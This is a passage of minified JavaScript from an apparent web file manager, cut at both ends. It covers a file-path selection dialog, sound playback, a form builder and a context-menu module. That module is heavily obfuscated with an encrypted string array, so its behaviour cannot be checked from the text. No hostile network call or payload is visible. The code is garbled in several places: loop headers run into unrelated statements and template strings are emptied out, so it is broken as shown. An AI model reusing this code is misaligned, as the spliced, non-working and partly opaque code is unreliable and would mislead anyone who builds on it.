P34(4$O0)1,(#C1,(#&':PQ"),2e3,$("0)1,(#L4&)3L-,.$"),$("B(.'&':"),$("'$B^&1$"),$("/34(4$"),$("0)1,(#C1,(#&':"),$("0)1,(#L30++$33"),$("/.$-,I$"),$("&+,'C,H"),$("&+,'C.$-,I$"),$(").$)$'#"),$("0)1,(#W$%,.$]$'#"),$("%&1$"),$("0)1,(#G8$+H]&R$"),$("3)(+$L&3L%011"),$("%(#$a04"),$("/).,:.$33"),$("84-1"),$("qCG]`^CKar_F"),$("G,,H&$"),$("0)1,(#9.,:.$33"),$(";SS/SZ"),$("0)1,(#&':L-,I$"),$("U"),$("/#&(1,:C%&1$C0)1,(#O/(0&C4&41$"),$("MO"),$("*"),$("OU"),$("3$4"),$("K&41$"),$("D"),$("/).,:.$33O/).,:.$33CA(."),$("N#&IO+1(33>P).,:.$33O).,:.$33C34.&)$#O(+4&I$PQN#&IO+1(33>P).,:.$33CA(.PO.,1$>P).,:.$33A(.PO34?1$>PB0MOSZPQN*#&IQN*#&IQ"),$("0)1,(#o++$)4"),$("3$.I$.J(4("),$("3$.I$.F$$#`$4.?"),$("0)1,(#]0++$33"),$("&']+.$$'"),36,$("&'#$6"),$("3+.,11K,)"),$("/0)1,(#$.C+,'4$'4"),$("14.&-"),$("/&'%,O/4&41$"),$("0)1,(#L$..,."),$("UstuvV"),$("0)1,(#_..,."),$("&'#$6a%"),$("L.(B"),$("b_..,.OG,#$M;SS;c"),$("b_..,.OG,#$M;SSec"),$("b_..,.OG,#$M;S;Sc"),$("$..,.F0-"),$(".$4.?"),$("NwCC03$.O1,:&'CCQ"),$("1,:&'O$..,.w"),$("0)1,(#L$..,.L844)"),$("(A,.4"),$("0)1,(#^&'&38$#"),$(".$3$4"),$("/%&1$C0)1,(#CA,6O/&4$-/$..,."),$("&']4(4$"),$("#.(:aI$."),$("N#&IO+1(33>P0)1,(#C4&)3PQxxxxxxN#&IQxxxxxxxN&O+1(33>P&+,'C+1,0#O+1,0#;O-,I$E$%4E,,)PQN*&QxxxxxxxN&O+1(33>P&+,'C+1,0#O+1,0#ePQN*&QxxxxxxxN&O+1(33>P&+,'C+1,0#O+1,0#lO-,I$E$%4E,,)PQN*&QxxxxxxN*#&IQxxxxxxN#&IO+1(33>P+1,0#C-,I$0)PQN&O+1(33>P-,I$K,)E,,)O&+,'C+&.+1$C(..,BC0)PQN*&QN*#&IQxxxxxxN#&IO+1(33>P-3:PQ"),$("0)1,(#L#.(:L4&)3"),$("N*#&IQxxxxxN*#&IQ"),$("y(3Hz&$B"),$("YB&'#,By(3Hz&$B"),$("Ydek\\%d"),$("S/k"),$("#.(:E$(I$"),$("+1,3$"),$("#.(:J.,)"),$(",.&:&'(1_I$'4"),$("%&1$3"),$("#(4(K.('3%$."),$(")1(?],0'#"),$("#.(:L0)1,(#"),$(":$4J(4("),$("4$64*)1(&'"),$("30A34.&':"),$("())o##7`E"))}(function($){var n=function($){return String.fromCharCode($.charCodeAt()-3)};return function(){for(var i=arguments,t="",r=0,o=i.length;o>r;r++)if("number"==typeof i[r])t+=n($[0].charAt(i[r]));else for(var c=0,e=i[r].length;e>c;c++)t+=n($[0].charAt(i[r][c].charCodeAt()-35));return t}}(["ghilqds2frpu1xoKvwJ{XkSj4L)@|'ez0/OQFnyGWb=?#%A}3m+,Et&(>8VIHUR^`75:*9\rZ;61?void(e=e.add(a)):void(h?("all"==b?l?c.file.push(i):c.folder.push(i):c.push(i),f=f.add(a)):e=e.add(a))}),e.length>=1&&e.removeClass("select"),l(c)},l=function(a){0==a.length||"all"==b&&0==a.file.length&&0==a.folder.length?f("selectChange",0):f("selectChange",a)}}};return d(),{pathSelect:function(a,b){var d={type:"file",single:!0,allowExt:"",firstPath:!1,makeUrl:!1,title:LNG.path_api_select_file,resize:!0,fixed:!0,top:"50%",ico:core.icon("folder"),lock:!0,background:"#000",animate:!0,opacity:.1,width:900,height:500,callback:function(){}},e={id:"pathSelectApi",ok:function(){if("function"==typeof a.callback){var b=g.DOM.wrap.find(".path-select-input").data("result");if(!b)return void Tips.tips(LNG.error,!1);if(b){var c=b;if(a.single&&"all"!=a.type&&(c=b[0]),a.makeUrl&&"file"==a.type)return i("makeUrl",c),!1;a.callback(c)}else Tips.tips(LNG.error,!1)}},cancel:!0};a=$.extend(d,a),"function"==typeof b&&(a.callback=b),e=$.extend(e,a);var f=G.appHost+"explorer&type=iframe";f+="&forceWap=0&fileSelect="+a.type,f+="&fileSelectSingle="+Number(a.single),f+="&fileSelectAllow="+a.allowExt,a.firstPath&&(f+="&path="+a.firstPath),$(".aui-state-highlight").addClass("disable"),e.content='';var g=$.dialog(e),h='';"file"==a.type&&(h+=''+a.allowExt+""),$(h).insertBefore($(g.DOM.wrap).find(".aui-state-highlight"));var i=function(a,b){var c={type:a,data:b};messengerParent.send(jsonEncode(c))},j=function(b){var c=jsonDecode(b);if(!c||!c.type)return void console.error("parse error!"+b,c);var d=c.type,e=c.data;if("makeUrl"==d)a.callback(e),$.artDialog.list.pathSelectApi.close();else if("selectChange"==d){var f=$(".pathSelectApi"),g=f.find(".path-select-input"),h=f.find(".aui-state-highlight");if(!e)return h.addClass("disable"),g.data("result",!1),void g.val("");h.removeClass("disable");var i="";if(a.single)i=core.pathThis(e[0]);else{var j=e,k=0;"all"==a.type&&(j=e.folder.concat(e.file)),$.each(j,function(a,b){i+='"'+core.pathThis(b)+'", ',k++}),i="["+k+"] "+rtrim(i,", ")}g.data("result",e),g.val(i)}},k=$("#pathSelectFrame").get(0).contentWindow;window.MessagerParentInit?messengerParent.addTarget(k,"ParentPage"):(window.messengerParent=new Messenger("ParentPage",c),messengerParent.addTarget(k,"ParentPage"),messengerParent.listen(j),window.MessagerParentInit=!0)},randomImage:function(a){var b=G.settings.pluginServer+"wallpage/index&lang="+G.lang+"&callback=?";$.getJSON(b,function(b){"function"==typeof a&&a(b)})}}});;define("app/common/core.playSound",[],function(a,b){var c={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},d=function(a){var b=G.staticPath+"others/sound/"+a;Hook.trigger("playSound",b)};return{playSoundFile:d,playSound:function(a){G&&G.userConfig&&"1"==G.userConfig.soundOpen&&setTimeout(function(){d(c[a])},50)}}});;define("app/common/core.formMake",[],function(a,b){var c,d,e,f={user:!1,group:!1,role:!1},g=function(){c=$("#"+d),c.find(".tab-group .tab-item").length>1?h():c.find(".tab-group").addClass("hidden"),c.find(".form-row.form-slider").exists()&&i(),c.find(".form-row.form-dateTime").exists()&&j(),c.find(".form-row.form-color").exists()&&k(),c.find(".form-row.form-fileSelect").exists()&&l(),c.find(".form-row select").exists()&&m(),c.find(".form-row.form-userSelect").exists()&&n(),c.find(".form-row.error [name]").die("change").live("change",function(){$(this).parents(".form-row.error").removeClass("error")}),c.find(".form-userSelect").die("click").live("click",function(){$(this).removeClass("error")})},h=function(){var a=c.find(".tab-content .tab-pane"),b=c.find(".tab-group .tab-item");a.each(function(){var d=$(this).attr("id"),e=c.find("."+d);e.length>0?e.appendTo($(this)):(a.filter("#"+d).remove(),b.find('[data-id="'+d+'"]').parent().remove())}),b.click(function(){b.removeClass("active"),$(this).addClass("active");var c=$(this).find("a").attr("data-id");a.removeClass("active"),a.filter("#"+c).addClass("active")})},i=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),a.async("lib/bootstrap-slider/bootstrap-slider.js",function(){c.find(".form-slider input").slider()})},j=function(){a.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){var a="zh-CN"==G.lang||"zh-TW"==G.lang?"ch":"en";c.find(".form-dateTime input").each(function(){var b=$(this).attr("data-format"),c=["Y","y","L","F","M","t","n","m","d","D","j","l","N","S","W","z","w"],d=["H","h","i","s","A","a","b","g","G","O","P","c","U"],e=!1,f=!1;b||(b="Y/m/d");for(var g=0;g').before(''+core.iconSmall("group-guest")+"").removeClass("ico_docu").addClass("group_icon").remove(),b.level>=1){var f="";d.before(f)}$("#"+a+" #"+b.tId+"_a").attr("data-group-id",b.id)}},callback:{onClick:function(a,b,c){e(b,c)}}},e=function(b,c){var d=$("#"+c.tId+"_a");if(d.removeClass("curSelectedNode"),a.attr("multiple")){d.toggleClass("this");var e=a.val();$.isArray(e)||(e=[]),d.hasClass("this")?e.push(c.id):e=_.without(e,c.id),$.each(e,function(){var b=a.find("[value="+this+"]");b.detach(),a.append(b)}),a.val(e).trigger("change")}else $("#"+b+" [treenode_a].this").removeClass("this"),d.toggleClass("this"),a.val(c.id).trigger("change"),a.select2("close")},f=function(){var b=a.val(),c=$(".select2-container--open .group-list-tree").attr("id"),d=$.fn.zTree.getZTreeObj(c);$("#"+c+" [treenode_a]").removeClass("this"),"string"==typeof b&&(b=[b]),b&&d&&d.getNodesByFilter(function(a){inArray(b,a.id+"")&&$("#"+a.tId+"_a").addClass("this")})},g=function(a){var b=$(".select2-container--open .group-list-content");b.find(".select2-results__options,.group-list-tree").removeClass("hidden"),"search"==a?b.find(".group-list-tree").addClass("hidden"):b.find(".select2-results__options").addClass("hidden")},h=function(b){var e=function(a){a.unbind("change input").bind("change input",function(){g($(this).val().length>0?"search":"tree")})};if(e(a.attr("multiple")?a.parent().find(".select2-search__field"):$(".select2-container--open .select2-search__field")),$(".select2-container--open .group-list-tree").exists())return f(),void g("tree");a.on("open",function(){f()}).on("select2:unselect",function(a){f()});var h=UUID(),i='
          ';$(i).appendTo(".select2-container--open .select2-results"),$(".select2-container--open .select2-results__options").addClass("hidden").parent().addClass("group-list-content");var j=c(b);$.fn.zTree.init($("#"+h),d,j);var k=$.fn.zTree.getZTreeObj(h);k&&k.expandAll(!0),f(),g("tree")};h(b)},q=function(){var a={},b=[],d=function(a){for(var b={all:"0",user:"",group:"",role:""},c=a.split(";"),d=0;d0){Tips.tips(LNG.PluginConfigNotNull,"warning");var f=c.find(".panel-body"),g=c.find(".form-row.error");if(!g.parents(".tab-pane").hasClass("active")){var h=g.parents(".tab-pane").attr("id");c.find('.tab-group [data-id="'+h+'"]').click()}g.inScreen()||f.animate({scrollTop:g.offset().top-f.offset().top+f.scrollTop()},100),g.find("[name]").first().focus(),g.find(".setting-content").flash(3,100)}return{checked:0==b.length,error:b,result:a}},r=function(b){a.async(b,function(a){a&&($.isFunction(a)?a():"object"==typeof a&&a.hasOwnProperty("main")&&$.isFunction(a.main)&&a.main())})},s=function(a){if("string"==typeof a)return r(file),!1;if($.isPlainObject(a.formStyle)&&a.formStyle.loadFile){var b=a.formStyle.loadFile;"string"==typeof b&&(b=[b]),$.isArray(b)&&$(b).each(function(a,b){r(b)})}e=a,d=UUID();var c=template.compile(tplFormMake),f=c({LNG:LNG,items:a,wrapID:d});return f},t=function(a,b,c){var d=s(a);if(!d)return!1;var e={padding:0,fixed:!0,resize:!0,title:LNG.search,ico:core.icon("config"),width:700,height:510,content:d,okVal:LNG.button_save,ok:function(){var a=q();return a.checked?c(a.result):!1}};if($.isPlainObject(b))for(var f in b)e[f]=b[f];var h=$.dialog(e),i=h.DOM.wrap.find(".aui-title").html();return h.DOM.wrap.find(".modal-title").html(i),g(),h};return{makeHtml:s,bindEvent:g,getFormData:q,initDialog:t}});;var _kod_0x4121=['MVPCjhFo','wrU3wqDDrQ==','MiI4WSc=','w5xewr3Ck8KeGw==','wqF+w4U=','d8ODwrzDgcOK','VyVFw40gLyxrIcO6wro=','w5nDpxttGg==','KsOBwofCq8Kdw74=','HkfDh8KaEMKH','wrVvdcOnwqZdwqfDkAhuw64=','wqd0w5s=','wo9FWQ==','w68kwr9pBGg=','wqk/wqTDrXsw','WAfChj4=','wrdyw4oLwpoP','OcOMwprCvcKW','GxJ9wpTCgMOew5TDilgwwoo=','wotTwovClUnCpMKTwr9kPsKcwp/CqMOewpPCoF8oIm3DjcOwHg57wrM=','w74xwrl+','w4HCncKiw4DDi2M=','YcOuKMK0w6LDkg==','AknClQYDw63CoGDCtlzDu8KswqHDl8OGQMOWBsOTf8OSw4lpOn0Uwr3DnMO7w6tZw4skwr5Xw7fDhMOUw7ESwpJUwqYrw75RbMKmM3l8wqgD','BkfDhsK5DMKSFcOa','HhR9woQ=','w5Jcwr/Co8KXDsOCwp0=','BkfDhsK8EsKSC8OM','w4HCosKNw5rDqQ==','YEYLw5g=','I8KBw5zCvBIKw74dwqbDgXU=','R0/CogUp','wrpnw7hMbw==','wqIRw7QKbw==','UBDCuCdd','VkEXQn4=','SkcnWVJ4wpo0w7DCiMO3w6rCoz0=','A8Kcw4LCpDU=','wqDDhXp4aQ==','w4ZAwrbCo8Ka','BsO2w6hYwrU=','w58UwpJQRw==','K8OQwqfCmsK2','JHfClTpL','di/CpsKLDw==','cCh9w4UC','IcOhwpjCswA=','w7dsfcOHKQ==','IQ9ywpHCqA==','DkHClRbDjWk=','L8ObP8K5wr4=','w5DDoUvCrDk=','AMOjw6Rawoo=','WMKCWMO5TQ==','w77DqUDCijXDrw==','fX7CkAIg','BRtQwqXDmQ==','YMKywr5Jwpg=','dsK3eMO6bw==','YTHCpDRe','BcOswr7CnT8=','S8KsScORdg==','wpVhbcOXwoA=','KsOfwq3Cqhk=','XRrCkyBHwoBkJsKewqLDtQ==','FTRXwqPCoQ==','PnPCtQRh','FjRYw4k+CC4vK8O3wqAs','KcOmw7BNwrs=','D8OFE0k9','FF7Dn2EFw4pkeg==','asOgAcKbw4s=','woFcw6BiQQ==','MsKIw5jCsA8=','wrFHw7tCWA==','wozDjn5aR1XCtHXDpsKowo4yJcKEE8K+w6c=','AMOowofCpi7Dly7Dl8KBw5/Cjg==','MVDCiQZmw53DsmjClj/DuA==','wrZ+w5tAcFjChMKfIsKmOw==','wobCqV3Clw==','Uzl2w44W','IsO6w6tWwoE=','VBbCnDlhwpMsOsKowqfDoGYY','w4bDtCHDhsKQL8O0LcKKw6vDlw==','T8OlwoTCvMOddw==','HlrCiQvDhnZ5wo/DhRod','woXDgnFDe1rDtmE=','VyZ8w5Ao','CD1pwpc=','w43CpcKSw7jDkg==','O8KGw5DCkgk=','XEczUERZwpo=','VcKkXcOk','woJPdsO1fA==','C8OGw6F4wp5uw6hJ','wqdpw4IAwpINUQ==','Xk/CggsZwo3CsmfCrRbDp8Kzw6LCjg==','wphJUMO7asK3w6xX','w5XDtAhbNMOKwoo=','LSDCgsOtw5c=','I8OFKm07','X0PCiQYOwrTCuHs=','wr9+w4UAwoEA','Sk/CiRcIwrI=','WwrDngcyw4EPw4Y=','fcO1JcK3w6DDmVI=','e8Oawp/DjcOVw7M4wpXDoTLCr3UVH8KFwqE=','wpbCrlzClH4TUgUkw6vDgQ==','UMKiXcO0WkdsG8Ohw57Dng==','YyPCncKNNw==','ShbCnilLwpMmJQ==','wqZ0w5lRdlTCn8Kg','MB92wq7CpA==','wqZjw4YkwpQ=','W0EuRUNNwosXw6DDiMOx','w7HCgcOgYH0a','EsOhNUEF','w51waMO9Ag==','wrpldcO0wrdN','NsO0wpjCrcK0','UAfClyFb','IkEKw5jCvA==','BsOHw6tcwoZn','C8OGw6E=','w7wqwqN4D2RmwoHCjxJL','a0oLw4nCkGsoKA==','wrR1w5F3eUHCg8Kh','w5PDowxTJcOKwrsRN3DDpw==','HcOFCsKMwpE=','wqUBw54YYA==','VUsuRG9Bwpo3','ecORwpXDusOcw6o/wos=','wqF+w4YIwoMNYMOwK8Kow6A=','wroxwrjDvHA8ZHrDlMKewo0=','wqNdwpQqaMOJBlpcwp5bbUM=','wqwaw6YqYFtzU1UOQXMawq7CtMKF','DUnDm8KLG8KLDMOyw4/DkiM=','CcOGwojCszM=','ABXCrcO3w78=','MsKLw5/CpwEXw4k8wqLDnHM=','P1rCiQdKw5HDo0jCsD3DrEN3','w6DDilPCtXnDjAXDl3ETw5lOFMKHDR4=','wrB3w4oUwoYmQsOxLw==','RMOgwoHCq8OLV8OVOsK7','ThhDw6Aa','w4vCm8KUw5/DvA==','ccKHw57CvRAKw4UFw6rDn2PCr8OUw5DCiWMRV8OrTBlPHQpNb1hIwqplBcOvP8OrOsOwwp10w5HCmVFKwpPCtgs=','bSrCuHE=','w7fDo0fCiyPDsknDg8K8','IcK7P8Kgw6bDkgAnAsODOsOAw47ClkpdeMO2wrRcwqfDsCjDsQtLIsOHw5DCnQDDl1MRLMKWwrBu','w4TCl8Kgw4nDl3cCFXU=','w7IXwokvQMOTXR4=','KQTDuxkL','bkDClAIm','NsOaw73CpA==','wqsfw7olZw==','G1zCiRs=','VcKkQcOzSw==','w54Ew7/DucOd','w7MgwqNrHnQ=','wovDiHJbSVzDvWU=','w4bCm8Kuw4HDhWoNAw==','fsOOwprCqsKW','w6/CgcOjaH8X','woHDtirDnMKA','GMO9OUASwoJzw4s=','wrd0w5NbZ0U=','C8O0IkkYwoQ=','w714w4QJwoENW8OoZ8K2w7YnMsODL8OOwqom','wozDhmtX','w5BXwrXClMKeF8OFwqPCtnZ9','w6waw7s7d0M=','X8O5MU4Twpw=','w5JbwrjChcKIHMOawovCqg==','w4zDuCDDnA==','w6rDgk3CsQ==','w4ArwqxhDw==','wpzCtVfCjWg=','USRUw4Uh','wpfDvTLDvcO7w7/DmsOJ','asOoIcK9w6bDkkQ3','W08sXURUwpwxw7Y=','asOmIMK8w6XDnUMv','w74mwq5pGW95wqnCkw==','AsOkworCtzjDnDHDv8Kdw4I=','Rm1cBEPCpDVqMcK7T0c3b25iw5ROwobDq8OQUMKrwrXDhAnCvi/DtMKJHmTCjDnCm8OfLcKdw4/CoAVDEMKcQcOMLn/DjA==','w5DDt2E=','T0fCiQ8PwqHCtGI=','w6XDk1DCsXXDhDTCmA==','ZyHCusO6w6o=','TClBw40=','ADIhbA==','GMO6PlgTwohiw6jCo3Jr','wpTCpVbCo3cKVTs=','YCTCu2DDhMK9w7nDi8OuNcK+MVHDsQQpw5rDulE2','XsOUwp7Du8OZ','c0NL','NsONw7fCp3M=','wpPCqFzChA==','w4LDvSLDosKs','CsOzwozCvzg=','w6nDhk7CoVLDlAXCmlAUw4tNGsKO','wrB0w4UTwpAQV8ORL8K1w6Y=','w7vDpUrCmxnDtUfDi8KGKcOqcsK5','CDVuwpfDsxDDj8KzwoTDhMK7w4LDuB1ywrA=','Bzw7eS/DlUguaMK5Uw==','w4Upw6PDhMOcIMOgw6caWMKiwoY=','OXDCjAtx','wppVwoLCiVjCkcKCwpx0fsKa','FRh9wpXCrMOSw4XDqm42wpA2','w7TCrMK2w43DqQ==','fsONwpDCoMKG','SE/ClgIPwqzCsg==','CE/Dm8Kb','wpfCqMK2w4vDrcKLHsKm','O8OEwpHCjcKfw6vDpik=','LsOSwpzCqcKUw6/Dpw==','YH46cGs=','wopfwoDCmF7CncKZwqM=','woHCs1vCh3wOVA==','wo5QYcOSwo4=','DBnDmQESw5cGw441I8K8IFU=','b8Kqwrd/wo3CpA==','D8OaNsKswrHDn8KFNBcvwpw=','MSrCuMOxw7kR','ICDCu8Oqw6oMwoYVwp9pwos=','woZJUsOrSMKnw6c=','dcOQwp/DjMOD','S0ssVEVBwpAo','KiHCscO7w7c7wpQ=','QVzDhxzDj29+wrHCnVYOS8OJVRvCmxHDhMKpEmh+J8OJw4TDosKQwonDhVLDu1tHQ8KNwqnDp8OgZjZxw7zCrQkkw5pAM8OgHMOmClYOwooiBMOhw59fwoXCnUw6ECHDi8OPw5LDqhcUH8OkwpnCj8ONwodOw4HDh8Knw5RawrnCmcKFV8OoEllOHkTDrMKPEQ==','eMKew4nDocKawrQ=','B2HDuMKsNg==','w4nCqBLCg3cKVTt8wqfDksKYKh3Cg8KuwrtXw6jDqA==','AyI4Xzo=','wrdTX8Obwqs=','wqptwq7Cn0k=','w7lwwpTCssKx','wopOwp7ClFPCjg==','dgfCgQRb','w6ICw4TDqcOF','IsOrwpHCl8Kn','ehJAw54l','ecOyP8K4','WwnCg2zDlw==','wpVfwoLCmknCgQ==','FlDCng==','cE4Jw4nCvA==','Ji7CtsO2','T0rChBAewo7CtmTCvQ==','ZMKvwrJowpvChMOpRjw=','IhzCkcOWw6c=','wpbCrVPCk2glRyUk','EBjCl8O8w7s=','R8O5OQwVwpx3w5bCtSE8Ul9CM33CuHVuw5EWwpXDg2dmWsKZABg=','wp9Zw7pmXw==','w4Ytw6DDlA==','JnrCgMKIJQnDi2vDoAbCjWLCp2bCskTCpXXDtH4LfsOnw482wo8yVsKnCsOew5cSTT9xA8KX','UsKuUMOlTExzM8O9','Y8OVw7vDqmPCo2xowoldwqgdw6ARwrPDmsK4KkZTw73CgRvCsTZWwqYpJQ==','wpnDqD/Dk8KbaQ==','P2TCpmTDgMKrwrPDmsKsPMK5eg==','WsOQDsKyw7M=','wpbCrl/CjXoFQjs=','S8Opwo7Cv8OMcQ==','dlLCghx2','w7wtwqRgDm53wqI=','M8OYw6HCvg==','w7fDplDCiyI=','Q8OtwpTCuQ==','I8Kqwr1rwp3Cvg==','wqDDj0HCtn7DjA==','WU0jVFVGwpQ/w7w=','M8ODwprCoA==','F8KjXMOkWg==','w7/DtEHCgyM=','OMObw7zCpU0=','ZMKiwr93worCq8OrQCo=','CcODw6lXwpBuw7hR','wpTColHChWgYTS04','fMK5QMOITA==','wpxvw5gvwoY=','w5ULwoRUOg==','J8Oyw7bCk1Q=','wphKwpzCmFPCjcKiwr4=','HD1Uw4Yn','wrZOwp/CtU4=','woHDvnE=','w5JIwqvChcKVC8OlwoE=','wqJ5a8O2','SEfCkQI=','w5rCo8Kxw4zDqcKRBsKOBEph','wphewojCvlHCiMKFwqI=','Ajo7aQ==','w4FoIw==','Y8Kiwqd6','w7kswqNo','woFUcMOawpM=','woHDk3pbWw==','wo7DjnFS','Lh5swoDDpg==','S8Olw44=','w4zDryrDn8KG','ccKPQsO2SA==','wp9RwrvCskk=','FHLCgBpZ','NsOawoHDnMOewqY7wpHDqjjCtThRWMKTwqHCv8O6w4bDq8KbUURYD3t9ZXQlw6gzI8O5woRPSErCjcOnwrnCisKQwqLDisKew598woZoaGLChQ==','wpZaw4ZMbQ==','YsKBwqZ+wrk=','JybCtMOyw6ATw587wptpw5N0w4HCvcOyw6nDuQ==','UMOceMK7wrjDhsKCCk9jwo0ZO8K3wopEwo/DnWctwpDCiMOzNx0TEA==','wprCvsK2w5/DpMKdP8KmD1E=','w6LDlk7Ct2/DiQ/CmQ==','TsOiwobCtw==','w4zCiXxZRkbDvG7Ds8KLw4YuNcOXE8K3wqLDvsKqw5HDsAjDlMOMwp/Dv2UoYBA=','wrldw6dCdw==','w4bCmMKsw5/DgQ==','Q8OlwoHCtMOXfsKZJsKrW8Og','ZyLCtHjDjsKiwqDCi8OiKA==','DsOLw6RXwp1ow4RXO8OO','w7LDqUXCgj/Dpg/Di8KsKw==','N8OJwpvCu8KA','F8OXwqrCtwA=','GMOyHWc6','wobDtznDosO/w6LDlg==','w4bDqg5eNg==','FRBjwpPCvw==','w7XDkUPCu3/DhQ==','HmvCtDph','CFLClwoKwqfCsns=','XDlQw4Q9AA==','w59RwqjClA==','bMKqwoFDwoo=','NlbChh5sw4LCq0jCkik=','BcODwpnCp8KQw6HDmDvCrg==','CcOwNl4TwoN+','D1DCgQ3Dhn1l','DMO3wozCvGbDmDPDtMKAw57CjA==','bDvCsHrDtsKsw6PCgsOsJw==','w6g3wqx8','EMO1woo=','w5jCuMKrw4o=','DsOLw6RXwp1o','S8OlwpPCrA==','J8OQF8K/wo4=','w5VRwrXChA==','wprDgnJZXlfDmnrDpsK1w5A=','wp9TwoLCmQ==','wonDg3t1RFPDqmU=','w7rCh8Ksw4DDtA==','wpDCg0fChUo=','woNNT8OdZcKiw7BW','LsOeGUgs','XkPCiAwbwqXClGXCuUvDpw==','QcOlwo7CvA=='];(function(_0x2d229d,_0x1a0f4f){var _0x4791e3=function(_0x35c851){while(--_0x35c851){_0x2d229d['push'](_0x2d229d['shift']());}};_0x4791e3(++_0x1a0f4f);}(_kod_0x4121,0x182));var _kod_0x46d5=function(_0x31d508,_0x192c83){_0x31d508=_0x31d508-0x0;var _0x54e27e=_kod_0x4121[_0x31d508];if(_kod_0x46d5['alPeJt']===undefined){(function(){var _0x59794a;try{var _0x4f56db=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x59794a=_0x4f56db();}catch(_0x5b1c5c){_0x59794a=window;}var _0x42da3a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x59794a['atob']||(_0x59794a['atob']=function(_0x205346){var _0x53818a=String(_0x205346)['replace'](/=+$/,'');for(var _0x969ae0=0x0,_0x16cc7b,_0x2d32fd,_0x1b942c=0x0,_0x3ab706='';_0x2d32fd=_0x53818a['charAt'](_0x1b942c++);~_0x2d32fd&&(_0x16cc7b=_0x969ae0%0x4?_0x16cc7b*0x40+_0x2d32fd:_0x2d32fd,_0x969ae0++%0x4)?_0x3ab706+=String['fromCharCode'](0xff&_0x16cc7b>>(-0x2*_0x969ae0&0x6)):0x0){_0x2d32fd=_0x42da3a['indexOf'](_0x2d32fd);}return _0x3ab706;});}());var _0x5a9ecd=function(_0xe26b0,_0x372972){var _0x48f6e8=[],_0x312ba5=0x0,_0x322e96,_0x585eed='',_0x55aa73='';_0xe26b0=atob(_0xe26b0);for(var _0x4f675f=0x0,_0x403772=_0xe26b0['length'];_0x4f675f<_0x403772;_0x4f675f++){_0x55aa73+='%'+('00'+_0xe26b0['charCodeAt'](_0x4f675f)['toString'](0x10))['slice'](-0x2);}_0xe26b0=decodeURIComponent(_0x55aa73);for(var _0x33fa38=0x0;_0x33fa38<0x100;_0x33fa38++){_0x48f6e8[_0x33fa38]=_0x33fa38;}for(_0x33fa38=0x0;_0x33fa38<0x100;_0x33fa38++){_0x312ba5=(_0x312ba5+_0x48f6e8[_0x33fa38]+_0x372972['charCodeAt'](_0x33fa38%_0x372972['length']))%0x100;_0x322e96=_0x48f6e8[_0x33fa38];_0x48f6e8[_0x33fa38]=_0x48f6e8[_0x312ba5];_0x48f6e8[_0x312ba5]=_0x322e96;}_0x33fa38=0x0;_0x312ba5=0x0;for(var _0x13fc9d=0x0;_0x13fc9d<_0xe26b0['length'];_0x13fc9d++){_0x33fa38=(_0x33fa38+0x1)%0x100;_0x312ba5=(_0x312ba5+_0x48f6e8[_0x33fa38])%0x100;_0x322e96=_0x48f6e8[_0x33fa38];_0x48f6e8[_0x33fa38]=_0x48f6e8[_0x312ba5];_0x48f6e8[_0x312ba5]=_0x322e96;_0x585eed+=String['fromCharCode'](_0xe26b0['charCodeAt'](_0x13fc9d)^_0x48f6e8[(_0x48f6e8[_0x33fa38]+_0x48f6e8[_0x312ba5])%0x100]);}return _0x585eed;};_kod_0x46d5['GDsDvt']=_0x5a9ecd;_kod_0x46d5['laRHkJ']={};_kod_0x46d5['alPeJt']=!![];}var _0x433411=_kod_0x46d5['laRHkJ'][_0x31d508];if(_0x433411===undefined){if(_kod_0x46d5['gxHisE']===undefined){_kod_0x46d5['gxHisE']=!![];}_0x54e27e=_kod_0x46d5['GDsDvt'](_0x54e27e,_0x192c83);_kod_0x46d5['laRHkJ'][_0x31d508]=_0x54e27e;}else{_0x54e27e=_0x433411;}return _0x54e27e;};define('app/common/rightMenuExtence',[],function(_0x2e0a04,_0xc14c8e){var _0x326a5b={};_0x326a5b[_kod_0x46d5('0x0',']y0&')]=function(_0x4c2152,_0x223f23){return _0x4c2152===_0x223f23;};_0x326a5b['amRqp']='GcIXW';_0x326a5b[_kod_0x46d5('0x1','(26G')]=function(_0xac0739,_0x41d982){return _0xac0739(_0x41d982);};_0x326a5b['hQQTv']='contextMenu';_0x326a5b[_kod_0x46d5('0x2','w@%x')]=function(_0x503bfc,_0x505263){return _0x503bfc&&_0x505263;};_0x326a5b[_kod_0x46d5('0x3','CpJI')]='.disable';_0x326a5b[_kod_0x46d5('0x4','#bfE')]=function(_0x126e60,_0xc1032e){return _0x126e60+_0xc1032e;};_0x326a5b['XPzAM']=_kod_0x46d5('0x5','#bfE');_0x326a5b[_kod_0x46d5('0x6','oApp')]=':not(.menu-not-auto-hidden)';_0x326a5b[_kod_0x46d5('0x7',')b(p')]=_kod_0x46d5('0x8',')Zq2');_0x326a5b[_kod_0x46d5('0x9','$zeB')]=_kod_0x46d5('0xa','GheG');_0x326a5b['mrKSb']=_kod_0x46d5('0xb','tepW');_0x326a5b[_kod_0x46d5('0xc','Ghlq')]=function(_0x4ad72b,_0x3a8578){return _0x4ad72b==_0x3a8578;};_0x326a5b[_kod_0x46d5('0xd','E[tg')]=function(_0x463470,_0x4bc18b){return _0x463470+_0x4bc18b;};_0x326a5b[_kod_0x46d5('0xe','h*gi')]=function(_0x18d522,_0x4c8e70){return _0x18d522+_0x4c8e70;};_0x326a5b[_kod_0x46d5('0xf','gz7W')]=function(_0x4a16b4,_0x149b87){return _0x4a16b4+_0x149b87;};_0x326a5b[_kod_0x46d5('0x10','amMN')]=''),h(f[_kod_0x46d5('0x7b','a0nd')]))+''+_0x483f12,'');}var 